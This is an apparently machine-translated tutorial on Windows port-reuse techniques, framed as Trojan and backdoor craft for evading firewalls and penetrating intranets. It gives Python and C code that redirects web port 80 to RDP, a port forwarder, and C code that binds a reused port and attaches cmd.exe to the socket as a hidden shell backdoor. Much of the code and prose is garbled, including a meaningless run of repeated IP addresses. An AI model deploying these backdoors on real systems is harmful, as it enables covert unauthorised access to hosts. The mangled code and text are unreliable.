0 x00 opening

Port reuse has always been a common means of Trojan virus, and sometimes it is also needed in security testing.

The general conditions for port reuse are as follows:

(1) The server only opens a certain port (port 80 or any number of other ports), and all other ports are blocked (2) To avoid the firewall (3) To hide the back door (4) cannot forward the port (5) Intranet penetration (for example: If the server is on the Intranet and the Intranet IP address is 10.10.10.10, open the terminal login port but not the external network, map the port through the external IP address: 111.111.111.111, open only port 80, and connect to the Intranet directly through port reuse.

So, in order to achieve our various purposes, port reuse technology is still a little bit necessary.

This paper mainly focuses on port reuse of Windows system. Compared with Windows, port reuse of Linux is simple and easy to implement, so it is not discussed.

0x01 Port Overcommitment Key

Port reuse, can not use the general socket socket directly monitor, this will lead to the program itself can not run, or the relevant occupation of port services can not run, so, only in the local way to do something.

First, port reuse redirection

For example, two sockets sock1 and SCOK2 are established locally. Scok1 listens to port 80. When there is a connection, Sock2 connects to the redirection port to judge the data received by SOck1 and forward it through Sock2. This allows you to connect to the redirection port by accessing port 80 of the target machine.

Second, port reuse

For example: establish a local monitor and the same local open port such as port 80, when there is a connection, determine whether it is their own packet, if it is processed data, otherwise do not process, to the source program.

In fact, port reuse is not as mysterious and complex as we imagine, where the port redirection only uses the local loopback address 127.0.0.1 to forward and receive foreign data, port reuse only uses the socket related features, nothing more.

TCP port reuse on a code, as follows

s = socket(AF_INET,SOCK_STREAM,0); setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&buf,1)); server.sin_family=AF_INET; server.sin_port=htons(80); Server. The sin_addr. S_addr = htonl (" 127.0.0.1 ");Copy the code

One of the most important functions in port reuse is setsockopt(), which determines the problem of port rebinding.

Setsockopt () is used to set the option value of any type, any state socket. Although options exist at different protocol layers, this function only defines options at the highest “socket” level.

By default, a socket cannot be bound (bind()) to a local address that is already in use. But sometimes you need to “reuse” an address. Because each connection is uniquely determined by a combination of local and remote addresses, it doesn’t matter if two sockets are bound to one address as long as the remote address is different. To tell a socket implementation not to bind an address to another because it is already used by one socket, an application can set the SO_REUSEADDR option before calling bind(). Note that this option is explained only when bind() is called; There is no need (but no harm) to set this option on a socket that does not share addresses, or to set or clear it if bind() has no effect on this or other sockets.

We’re going to use SO_REUSEADDR in the socket. Here’s how it works.

SO_REUSEADDR provides the following four functions:

SO_REUSEADDR: allows to start a listening server and bind its well-known port, even if a previously established connection to use this port as their local port still exists. This usually occurs when you restart the listening server. If this option is not set, bind will fail. SO_REUSEADDR: Allows multiple instances of the same server to be started on the same port, as long as each instance is bundled with a different local IP address. With TCP, it is simply not possible to start multiple servers bundled with the same IP address and the same port number. SO_REUSEADDR: Allows a single process to bind the same port to multiple sockets as long as each bind specifies a different local IP address. This is generally not used for TCP servers. SO_REUSEADDR: Allows repeated binding: When an IP address and port are bound to a socket, the IP address and port can be bound to another socket. In general, this feature is only available on systems that support multicast, and only for UDP sockets (TCP does not support multicast).

Generally, we need to set the socket to non-blocking mode, because if we are in blocking mode, it may lead to the original occupying port service can not be used or its own program can not be used. Therefore, port reuse using non-blocking mode is relatively safe.

Theory is the fact that require inspection, however, when some ports set non-blocking, causes its continuity of data transmission, may lead to abnormal data reception or fail to receive the data, a non-blocking type for short connection, but the persistent connections may have effect, such as 3389 port forwarding reuse, so use non-blocking need according to the condition of the port.

Blocking a blocking call is when the current thread is suspended until the result of the call is returned (the thread enters a non-executable state, in which the CPU does not allocate time slices to the thread, i.e. the thread is suspended). The function returns only after the result is obtained.

Non-blocking, as opposed to blocking, means that the function does not block the current thread but returns immediately until the result is not immediately available.

0x02 Port overcommitment pit

Port reuse can be divided into theory and practice, the following to talk about the pit.

Theory: In theory, we can reuse the port without affecting other programs or processes that use the port because we set the socket to SO_REUSEADDR and listen on 0.0.0.0:80 and 192.168.1.1:80 or 127.0.0.1:80. Their addresses are different, and the traffic received by the created program or process does not affect each other. Multiple threads or processes do not affect each other.

Practice: in Windows, we set the socket as SO_REUSEADDR, but can not open the port reuse program, close the Web service program, port reuse program available but the Web service program can not use, can only exist, so port reuse is a weak and spare. Oh, no, it’s a jack. Use it when you change the spare tire.

In theory, our idea is perfect, but in reality, setting the socket to SO_REUSEADDR doesn’t work as well as you might think.

Before binding the socket, use setsockopt to specify SO_EXCLUSIVEADDRUSE to exclusive all port addresses. If you set the socket to SO_REUSEADDR, it won’t work at all.

When testing port reuse on Windows, when the IIS service is started, the port reuse program cannot work normally, and when the port reuse program is started, IIS cannot work normally. After consulting relevant documents, it is known that the reason is that Microsoft has encapsulated the process of network communication in the Ring0 layer since IIS6.0. The http.sys driver is used for direct network communication. A socket with SO_REUSEADDR set can always be bound to the source address and port to which it is bound, regardless of whether the socket with SO_REUSEADDR set to the address and port is not bound. This operation has a significant impact on system security, so Microsoft added another socket option: SO_EXECLUSIVEADDRUSE. Set the socket for SO_EXECLUSIVEADDRUSE to ensure that once the binding is successful, the bound source port and address belong to this socket only. Other sockets cannot be bound. It doesn’t even matter if they use SO_REUSEADDR to request port reuse (of course you can change the LISTENING address of IIS or inject the HTTP. sys driver, but that’s not practical in real life).

There are exceptions, such as Apache and other server middleware running at the application layer, where port reuse is possible on their open ports, but the scope of port reuse is much smaller.

And you think that’s all there is to it? NO! NO! NO!

Once multiple protocols pass through a port, traffic flows to only one connection. The traffic flows to the first (and last) socket to establish a connection. Other sockets may WAIT for the connection to be interrupted or exit after completing data transmission. The other connection would be blocked and unusable, hence the Chinese saying “one mountain cannot allow two tigers” (which is less likely to happen with shunt data forwarding).

In terms of data diversion, the same principle as Burp and Fiddler, middleman forwarding is carried out in the way of proxy transfer, so as to ensure port reuse and data integrity.

There are many ways around these potholes, just to give you a few examples

1. Local port proxy forwarding

2. Hook injection

3. Drive injection

Bypassing methods are beyond the scope of this article. ^ _ ^

0x03 Port Overcommitment Process

Having covered the principles and pits, let’s talk about the details of port reuse (even though we now know the pee nature of port reuse).

Experimental description: All the experiments in this paper are theoretical tests, and all the service middleware are running in the system application layer.

Currently, there are two types of bond port multiplexing:

Reuse port redirection

Reuse port

(1) Reuse port redirection

Conditions of use:

Port 80 exists and listens on port 80. You need to reuse port 80 to redirect to port 3389 (any other)

Preparation environment:

Here I use JSPStudy to build a web server and simulate the external environment with virtual machines

Windows7 server: IP: 192.168.1.8, open port 80, port 3389

Win2008 VM IP address: 192.168.19.130

We open the server and look at the open ports. You can see that we have ports 80 and 3389 open

Let’s now start the port reuse tool to see if the page works

Win2008 server 192.168.19.130 open the remote desktop connector to connect port 80 of 192.168.1.8

As you can see, we successfully connected to port 3389 of 192.168.1.8

(2) Multiplexing port

Conditions of use:

Port 80 exists originally, and listens to port 80, need to reuse port 80 to 23 (any other) port

Preparation environment:

Here I use JSPStudy to build a web server and simulate the external environment with virtual machines

Windows7 server: IP address: 192.168.1.8, open port 80

Win2008 VM IP address: 192.168.19.130

The port reuse here is to simulate a CMD backdoor, when the external IP: 192.168.19.130 Telnet local IP: 192.168.1.8, bounce a CMSDshell past.

Start the port reuse tool and Telnet to port 80 of 192.168.1.8

You can see that we have successfully obtained a CMD shell session.

Well, the specific theory and pit point and actual combat we have done, so let’s start our source analysis.

0x04 Port reuse source code analysis

(1) : Reuse port redirection

Purpose: port 80 exists originally and listens to port 80. Ports 22,23,3389 reuse port 80

Implementation of multiplexing port redirection

(1) Connect external IP address to local IP address: 192.168.2.1=>192.168.1.1:80=>127.0.0.1:3389

(2) Transfer the local IP address to the external IP address: 127.0.0.1:3389=>192.168.1.1:80=>192.168.2.1

First, the external IP address (192.168.2.1) is connected to port 80 of the local IP address (192.168.1.1). Because the local IP address (192.168.1.1) is multiplexed and bound to port 80, the multiplexed bound port listens to the traffic of the external IP address (192.168.2.1). Check whether it is HTTP traffic. If it is HTTP traffic, send it to port 80. Otherwise, connect local IP address (192.168.1.1) to port 3389 of local IP address (127.0.0.1). Traffic from local IP(127.0.0.1) port 3389 is sent from the local IP(192.168.1.1) address to the external IP(192.168.2.1) address, which completes the port multiplexing redirection.

Let’s explain it in Python code, as follows:

#coding= UTF-8 import socket import sys import select host='192.168.1.8' port=80 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.setsockopt( socket.SOL_SOCKET, socket.SO_REUSEADDR, S1=socket. Socket (socket.AF_INET,socket.SOCK_STREAM) s1.connect (('127.0.0.1',3389)) print "Start Listen 80 =>3389....." While 1: infds,outfds,errfds=select. Select ([s,],[],[],5) Conn,(addr,port)= s.acept () print '[*] connected from ',addr,port data=conn.recv(4096) s1.send (data) recv_data=s1.recv(4096) conn.send(recv_data) print '[-] connected down', S1.close() s.close()Copy the code

Setsockopt uses socket.SO_REUSEADDR to achieve the purpose of port reuse. S1 is connected to local port 3389, where S1 plays a role in data transfer. Port 3389 can be connected, but the data transfer will be interrupted. We need to enable multithreading to ensure the continuity of data transfer and cancel the SELECT.

So what if you want to differentiate between the two?

We just need to add a judgment (how to judge the data header can be customized), or to judge our own tag header.

If 'GET' or 'POST' in data: S =socket.socket(socket.af_inet, socket.sock_stream) s.socket (('127.0.0.1',80)) s.end (data) bufer= "while 1: recv_data=s.recv(4096) bufer += recv_data if len(recv_data)==0: breakCopy the code

We forward packets that are not ours to a port 80 HTTP server with a local loopback address.

The C language implementation code is as follows:

192.168.1.1, 127.0.0.1, 192.168.1.1, 127.0.0.1, 192.168.1.1, 127.0.0.1, 192.168.1.1, 127.0.0.1, 192.168.1.1, 127.0.0.1, 192.168.1.1, 127.0.0.1, 192.168.1.1, 127.0.0.1, 192.168.1.1, 127.0.0.1, 192.168.1.1, 127.0.0.1, 192.168.1.1, 127.0.0.1 Finally, create a thread for data transfer interaction.

Saddr.sin_family = AF_INET; Saddr. Sin_addr. S_addr = inet_addr (" 0.0.0.0 "); saddr.sin_port = htons(80); if ((server_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR) { printf("[-] error! socket failed! //n"); return (-1); If (setsockopt(server_sock, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val))! = 0) { printf("[-] error! setsockopt failed! //n"); return -1; } if (bind(server_sock, (SOCKADDR *)&saddr, sizeof(saddr)) == SOCKET_ERROR) {ret = GetLastError(); printf("[-] error! bind failed! //n"); return -1; } // Listen (server_sock, 2); while (1) { caddsize = sizeof(scaddr); server_conn = accept(server_sock, (struct sockaddr *)&scaddr, &caddsize); if (server_conn ! = INVALID_SOCKET) { cthd = CreateThread(NULL, 0, ClientThread, (LPVOID)server_conn, 0, &tid); if (cthd == NULL) { printf("[-] Thread Creat Failed! //n"); break; } } CloseHandle(cthd); } closesocket(server_sock); WSACleanup(); return 0; }Copy the code

There is a ClientThread() function that needs to be called inside the main() function (see above), which creates a socket to connect to the local 3389 port and uses a while loop to process the multiplexed data. Data from port 80 is sent to local port 3389, and data from local port 3389 is sent to local port 80 socket. This constitutes port multiplexing redirection. So as to ensure the integrity, reliability and accuracy of data flow.

// Create thread DWORD WINAPI ClientThread(LPVOID lpParam) {// Connect to local target 3389 sdr.sin_family = AF_INET; Saddr. Sin_addr. S_addr = inet_addr (" 127.0.0.1 "); saddr.sin_port = htons(3389); if ((conn_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR) { printf("[-] error! socket failed! //n"); return -1; } val = 100; if (setsockopt(conn_sock, SOL_SOCKET, SO_RCVTIMEO, (char *)&val, sizeof(val)) ! = 0) { ret = GetLastError(); return -1; } if (setsockopt(ss, SOL_SOCKET, SO_RCVTIMEO, (char *)&val, sizeof(val)) ! = 0) { ret = GetLastError(); return -1; } if (connect(conn_sock, (SOCKADDR *)&saddr, sizeof(saddr)) ! = 0) { printf("[-] error! socket connect failed! //n"); closesocket(conn_sock); closesocket(ss); return -1; While (1) {num = recv(ss, buf, 4096, 0); if (num > 0){ send(conn_sock, buf, num, 0); } else if (num == 0) { break; } num = recv(conn_sock, buf, 4096, 0); if (num > 0) { send(ss, buf, num, 0); } else if (num == 0) { break; } } closesocket(ss); closesocket(conn_sock); return 0; }Copy the code

Another method is port forwarding to achieve the effect of port reuse. LCX and other port forwarding tools can also achieve the same effect, but the concealment is not very good, but it is still mentioned.

The following python code implements LCX port forwarding. Due to space constraints, only the core code is written.

First, define two functions, one server and one connect. Server is used to bind the port, and connect is used to connect the forwarding port.

The select function is used to handle socket blocking, the get_stream() function is used to exchange sock stream objects, and the ex_stream() function is used to forward the data of the stream objects. Connect() adds a time control to control connection timeouts and waiting for connections to avoid connection errors.

However, the fact is that after the SELECT control is blocked, the connection on port 3389 cannot communicate properly, and other transient connection sockets are not affected.

def get_stream(flag): pass def ex_stream(host, port, flag, server1, server2): pass def server(port, flag): Host = '0.0.0.0' server = create_socket() server.setsockopt(socket.sol_socket, socket.so_reuseaddr, 1) server.bind((host, port)) server.listen(10) while True: infds,outfds,errfds=select.select([server,],[],[],5) if len(infds)! = 0: conn, addr = server.accept() print ('[+] Connected from: %s:%s' % (addr,port)) streams[flag] = conn server_sock2 = get_stream(flag) ex_stream(host, port, flag, conn, server_sock2) def connect(host, port, flag): connet_timeout = 0 wait_time = 30 timeout = 5 while True: if connet_timeout > timeout: streams[flag] = 'Exit' print ('[-] Not connected %s:%i! ' % (host,port)) return None conn_sock = create_socket() try: conn_sock.connect((host, port)) except Exception, e: print ('[-] Can not connect %s:%i! ' % (host, port)) connet_timeout += 1 time.sleep(wait_time) continue print "[+] Connected to %s:%i" % (host, port) streams[flag] = conn_sock conn_sock2 = get_stream(flag) ex_stream(host, port, flag, conn_sock, conn_sock2)Copy the code

(I) : Port multiplexing

The principle of port reuse is that it monitors the same port with the source port occupier. When there is data in the reuse port, we can determine whether it is our own packet. If it is our own packet, we will process it by ourselves; otherwise, the packet will be handed over to the source port occupier for processing.

The problem here is that if you do not address packet ownership, the port will be occupied by the port reuse program, and the source port hoggers will not work.

External IP address: 192.168.2.1=>192.168.1.1:80=> Run (data)

Internal IP address: Return (data)=>192.168.1.1:80=>192.168.2.1

Code to CMD backdoor as an example, we still create a TCP socket

    listenSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);Copy the code

Example Set SO_REUSEADDR for socket reuse

    BOOL val = TRUE;
    setsockopt(listenSock, SOL_SOCKET, SO_REUSEADDR, (char*)&val, sizeof(val));Copy the code

Set IP and reuse port numbers. The IP and port numbers depend on the situation.

sockaddr_in sockaaddr; Sockaaddr. Sin_addr. S_addr = inet_addr (" 192.168.1.8 "); sockaaddr.sin_family = AF_INET; sockaaddr.sin_port = htons(80);Copy the code

Create a window feature and initialize it as CreateProcess() to prepare for creating a process. When the CMD. Exe process is created successfully, use the socket to exchange data. This can be replaced by other programs, such as Shellcode pony receiver, file writer, backdoor, and so on.

    STARTUPINFO si;
    ZeroMemory(&si, sizeof(si));
    si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
    si.hStdError = si.hStdInput = si.hStdOutput = (void*)recvSock;

    char cmdLine[] = "cmd";
    PROCESS_INFORMATION pi;
    ret = CreateProcess(NULL, cmdLine, NULL, NULL, 1, 0, NULL, NULL, &si, &pi);Copy the code

0 x05 summary

There are indeed many potholes in port reuse technology. In fact, as long as we know the characteristics, it is not difficult to bypass. Port reuse in Linux I think it is ok, but port reuse technology in Windows, I think port reuse is like a jack, when changing the spare tire, do not use for a long time, otherwise there will be problems (^__^).